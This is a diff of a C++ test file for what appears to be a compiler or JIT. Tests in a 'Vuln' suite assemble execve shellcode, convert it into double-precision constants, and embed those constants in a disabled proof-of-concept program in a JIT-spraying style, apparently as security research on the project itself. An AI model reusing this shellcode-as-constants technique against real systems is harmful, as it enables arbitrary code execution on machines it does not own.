@@ -585,7 +585,7 @@ TEST(Vuln, DoublesFromHexParsedCorrectly) {
585
585
}
586
586
}
587
587
588
- TEST (Vuln, DoubleFromHexParsedCorrectly2 ) {
588
+ TEST (Vuln, GenerateVulnCode ) {
589
589
auto shellText = R"(
590
590
.section .text
591
591
.globl _start
@@ -602,9 +602,6 @@ TEST(Vuln, DoubleFromHexParsedCorrectly2) {
602
602
leaq cmd(%rip), %rdi
603
603
movq $59, %rax
604
604
syscall
605
- pop %rax
606
- pop %rax
607
- pop %rax
608
605
leaveq
609
606
ret
610
607
@@ -627,75 +624,80 @@ TEST(Vuln, DoubleFromHexParsedCorrectly2) {
627
624
628
625
auto p = reinterpret_cast <double *>(r.Translated ->data ());
629
626
627
+ std::unordered_map<std::string, std::string> nameToValue;
628
+ std::vector<std::string> names;
630
629
for (std::size_t i = 0 ; i < r.Translated ->size () / sizeof (double ); ++i) {
631
630
std::stringstream ss;
632
631
ss << std::setprecision (30 ) << p[i];
633
- LOG (INFO) << ss.str ();
632
+ auto val = ss.str ();
634
633
double v;
635
634
ss >> v;
636
635
637
636
for (std::size_t j = 0 ; j < sizeof (double ); ++j) {
638
637
ASSERT_EQ ((*r.Translated )[i * sizeof (double ) + j], *(reinterpret_cast <uint8_t *>(&v) + j));
639
638
}
639
+
640
+ auto name = Format (" _%04x" , i);
641
+ names.push_back (name);
642
+ nameToValue[name] = " " ;
640
643
}
641
- }
642
644
643
- TEST (Vuln, DISABLED_VulnMVP) {
644
- /*
645
- fun main() {
646
- a = 9.13311275417349147128740860176e+164 ;
647
- b = 2.23334226138660938778544477852e+40 ;
648
- c = 1.57054810607513511574371074205e+43;
649
- d = 5.70322518485311116492001613112e-306;
650
- if (a < b ) {
651
- return a + b + c + d ;
645
+ std:: size_t i = 0 ;
646
+ for ( auto &n : nameToValue) {
647
+ std::stringstream ss;
648
+ ss << std::setprecision ( 30 ) << p[i++] ;
649
+ n. second = ss. str () ;
650
+ }
651
+
652
+ for ( auto &n : names ) {
653
+ LOG (INFO) << Format ( " %s = %s; " , n. c_str (), nameToValue[n]. c_str ()) ;
652
654
}
653
655
}
654
- */
655
- assertProgramResult ( R"(
656
- a3b5c = 9.01665960969080694903108994646e-308;
657
- a3b5d = 5.89900095836992470543979457601e-308 ;
658
- a3b5e = 2.94950047918496235271989728801e-308 ;
659
- a3b5f = -1.13962551584212620632980908507e-244 ;
660
- a3b5g = -11920.0000000047675712266936898 ;
661
- a3b5h = 1.28326448731251798597851684744e-78 ;
662
- a3b5i = 6.29284709594975605135792094167e-92 ;
663
- a3b5j = 2.1971303441320653080330698334e-152 ;
664
- a3b5k = 3.87546157797830208220587864688e-80 ;
665
- a3b5l = 2.86530687399045625656107066942e+161 ;
666
- a3b5m = 5.38409467802000282671150077615e+241 ;
667
- a3b5n = 3.11888437715206740075614361764e+161 ;
668
- a3b5o = 1.41894014867253636496431508459e+161 ;
669
- a3b5p = 4.39558737237486546973012633094e+252 ;
670
- a3b5q = 5.52559648449915692702815701664e+257 ;
671
- a3b5r = 3.4653160729132520229722030536e+185 ;
672
- a3b5s = 1.29503525642399536129001394637e+171 ;
673
- a3b5t = 8.25971437589206984708987682454e-154 ;
674
- a3b5u = 3.11888436252934216500734194682e +161;
675
- a3b5v = 1.41894014867253636496431508459e+161 ;
676
- a3b5w = 4.27255621593463064889140018959e+180 ;
677
- a3b5x = 3.11888404154024059066604380509e+161 ;
678
- a3b5y = 1.41894014867253636496431508459e+161 ;
679
- a3b5z = 4.39558737237486546973012633094e+252 ;
680
- a3b6a = 5.52559648449915692702815701664e+257 ;
681
- a3b6b = 3.4653160729132520229722030536e+185 ;
682
- a3b6c = 1.29503525642399536129001394637e+171 ;
683
- a3b6d = 8.25971437589206984708987682454e-154 ;
684
- a3b6e = 3.17556682638780341692405072892e-120 ;
685
- a3b6f = 7.43083922896928744450392564933e-120 ;
686
- a3b6g = 9.31476625042255462280623371223e+242 ;
687
- a3b6h = 3.98455339352822777031486764751e+252 ;
688
- a3b6i = 3.46513456246328025214221041058e+185 ;
689
- a3b6j = 1.29503525642399536129001394637e+171 ;
690
- a3b6k = 1.19782304862903820345902151854e+243 ;
691
- a3b6l = 4.45822432662471531958872096101e+252 ;
692
- a3b6m = 3.80282228790878296803396164557e-317 ;
693
- a3b6n = -6.82852348231868590359212812058e-229 ;
694
-
695
-
696
- fun main() {
697
- if (a3b6k < a3b6m ) {
698
- return a3b6m ;
656
+
657
+ TEST (Vuln, DISABLED_VulnMVP) {
658
+ assertProgramResult ( R"(
659
+ _0000 = 4.45822432662471531958872096101e+252 ;
660
+ _0001 = 1.19782304862903820345902151854e+243 ;
661
+ _0002 = 1.91433085964668933099730042059e+261 ;
662
+ _0003 = 3.98455339352822777031486764751e+252 ;
663
+ _0004 = 9.73522563016263357401293305748e-315 ;
664
+ _0005 = 3.88936149933469592127393174833e+174 ;
665
+ _0006 = 3.88936149933469592127393174833e+174 ;
666
+ _0007 = 4.45822432662471531958872096101e+252 ;
667
+ _0008 = 5.93621147035131015845707833809e+169 ;
668
+ _0009 = 5.52559648449915692702815701664e+257 ;
669
+ _000a = 6.32280097505374462953932699201e+233 ;
670
+ _000b = 8.25971437587339054081582628633e-154 ;
671
+ _000c = 9.31476625662437923964372193661e+242 ;
672
+ _000d = 5.93621147035131015845707833809e+169 ;
673
+ _000e = 6.53747834600816911773243398146e-125 ;
674
+ _000f = 6.53747834600816911773243398146e-125 ;
675
+ _0010 = 3.9381538893456823461224877281e-62 ;
676
+ _0011 = 3.11888404251331059194979670708e +161;
677
+ _0012 = 5.52559648449915692702815701664e+257 ;
678
+ _0013 = 3.4653160729132520229722030536e+185 ;
679
+ _0014 = 1.29503525642399536129001394637e+171 ;
680
+ _0015 = 1.9143324972053054017456038103e+261 ;
681
+ _0016 = 5.52559648449915692702815701664e+257 ;
682
+ _0017 = 1.33980497747332409769287086757e-152 ;
683
+ _0018 = 3.88936149933469592127393174833e+174 ;
684
+ _0019 = 4.39558737237486546973012633094e+252 ;
685
+ _001a = 1.91429491296407703192166757816e+261 ;
686
+ _001b = -6.82761769577296130672065869357e-229 ;
687
+ _001c = 1.19782304862903820345902151854e+243 ;
688
+ _001d = 1.35452787268204745946619571028e+243 ;
689
+ _001e = -3605727437012366848 ;
690
+ _001f = -11920.0000000052332325140014291 ;
691
+ _0020 = -1.13962551584212620632980908507e-244 ;
692
+ _0021 = 1.41894014867253636496431508459e+161 ;
693
+ _0022 = 3.08856759534166243916303683284e-308 ;
694
+ _0023 = 6.17713519068332487832607366568e-308 ;
695
+ _0024 = 1.08805855771401084070533089734e-306 ;
696
+ _0025 = 9.5729280743176072948036481258e-308;
697
+
698
+ fun main() {
699
+ if (_001a < _0025 ) {
700
+ return _0023 ;
699
701
}
700
702
}
701
703
)" , 0.0 );
0 commit comments